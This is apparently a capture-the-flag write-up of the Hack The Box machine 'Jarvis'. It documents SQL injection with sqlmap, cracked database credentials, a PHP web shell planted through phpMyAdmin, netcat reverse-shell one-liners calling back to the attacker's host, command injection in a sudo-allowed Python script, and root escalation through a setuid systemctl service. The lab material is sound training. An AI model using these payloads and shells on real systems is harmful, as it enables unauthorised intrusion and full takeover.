HTB: Jarvis

Details

This machine is Jarvis from Hack The Box

Recon

Started by looking for services

root@kali:~# nmap -sV -p- -T4 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 12:06 EDT
Nmap scan report for 10.10.10.143
Host is up (0.039s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.18 seconds

User

Started on port 80 with http://10.10.10.143

Screenshot 1

Then port 64999 at http://10.10.10.143:64999/

Screenshot 2

So back to port 80 then, I found there was a url that showed hotel rooms http://10.10.10.143/room.php?cod=3

Screenshot 3

So I ran sqlmap on it

root@kali:~# sqlmap --url http://10.10.10.143/room.php?cod=3 --level 5 --risk 3 --dbs
[SNIP]
---
Parameter: cod (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=3 AND (SELECT 6146 FROM (SELECT(SLEEP(5)))boCe)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-1603 UNION ALL SELECT NULL,NULL,CONCAT(0x7176627871,0x445973616e786d4f514d6661634f794a4550577955484e41536b59764c4152544c46664e51704965,0x71707a7171),NULL,NULL,NULL,NULL-- hdMH
---
[14:04:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[14:04:05] [INFO] fetching database names
[14:04:05] [INFO] used SQL query returns 4 entries
[14:04:06] [INFO] retrieved: 'hotel'
[14:04:06] [INFO] retrieved: 'information_schema'
[14:04:06] [INFO] retrieved: 'mysql'
[14:04:06] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
[SNIP]

So I tried to dump the hotel database

root@kali:~# sqlmap --url http://10.10.10.143/room.php?cod=3 --level 5 --risk 3 --technique=BEUS --dump -D mysql

I let it crack any passwords it found which led to

DBadmin:imissyou

But I didn't have anywhere to use these creds yet, so I ran dirbuster

Screenshot 4

Screenshot 5

The phpmyadmin caught my attention

Screenshot 6

So I tried the creds

Screenshot 7

I then ran the following SQL query to try and backdoor the server

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/back.php"

Screenshot 11

Which I tested at http://10.10.10.143/back.php?cmd=id

Screenshot 12

I then set a listener

root@kali:~# nc -nlvp 4444

Then used my shell to run the reverse shell payload

http://10.10.10.143/back.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.35 4444 >/tmp/f

Needed to encode this, so used burp

Screenshot 13

And in the listener

connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 34318
/bin/sh: 0: can't access tty; job control turned off
$ 

Upgrade the shell

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$

And see what I can do

www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

So I took a look at the script

www-data@jarvis:/var/www/html$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

It fails to escape $, (, or ) so I can do some command injection. I wrote a script to priv esc

www-data@jarvis:/var/www/html$ cd /tmp
www-data@jarvis:/tmp$ echo "/bin/sh" > exe.sh
www-data@jarvis:/tmp$ chmod +x exe.sh

And do the injection

www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP:
$(/tmp/exe.sh)

Which didn't work. So I tried a different method, instead having it run a shell for me

www-data@jarvis:/tmp$ echo "rm /tmp/t;mkfifo /tmp/t;cat /tmp/t|/bin/sh -i 2>&1|nc 10.10.14.35 8888 >/tmp/t" > /tmp/rev

I need a listener

root@kali:~# nc -nlvp 8888

Run the trigger

www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
$(/tmp/rev)

And in the listener

connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 60054
$ 

I upgraded my second shell

$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:/tmp$ 

And collected my flag

pepper@jarvis:/tmp$ cd /home/pepper
pepper@jarvis:~$ cat user.txt
[REDACTED]

Root

Took a bit of a look around

pepper@jarvis:/tmp$ find / -perm -u=s 2>/dev/null
[SNIP]
/bin/systemctl
[SNIP]

I can create a service and use systemctl to start it as root. I reused my listener on port 4444

pepper@jarvis:/tmp$ TF=$(mktemp).service
pepper@jarvis:/tmp$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.35 4444 >/tmp/f"
[Install]
WantedBy=multi-user.target' > $TF

pepper@jarvis:/tmp$ /bin/systemctl link $TF
pepper@jarvis:/tmp$ /bin/systemctl enable --now $TF

And in the listener

connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 52774
/bin/sh: 0: can't access tty; job control turned off
# 

I could now grab the root flag

# id
uid=0(root) gid=0(root) groups=0(root)

# cd /root
# ls -la
drwx------  6 root root 4096 Mar  5 10:24 .
drwxr-xr-x 23 root root 4096 Mar  3 22:52 ..
lrwxrwxrwx  1 root root    9 Mar  4 08:14 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  4 root root 4096 Mar  3 22:21 .cache
-rwxr--r--  1 root root   42 Mar  4 11:37 clean.sh
drwxr-xr-x  3 root root 4096 Mar  3 17:45 .config
drwxr-xr-x  3 root root 4096 Mar  3 17:45 .local
lrwxrwxrwx  1 root root    9 Mar  4 08:15 .mysql_history -> /dev/null
drwxr-xr-x  2 root root 4096 Mar  2 10:13 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
lrwxrwxrwx  1 root root    9 Mar  4 08:15 .python_history -> /dev/null
-r--------  1 root root   33 Mar  5 10:24 root.txt
-rw-r--r--  1 root root   66 Mar  4 08:20 .selected_editor
-rwxr-xr-x  1 root root 5271 Mar  5 07:00 sqli_defender.py

# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.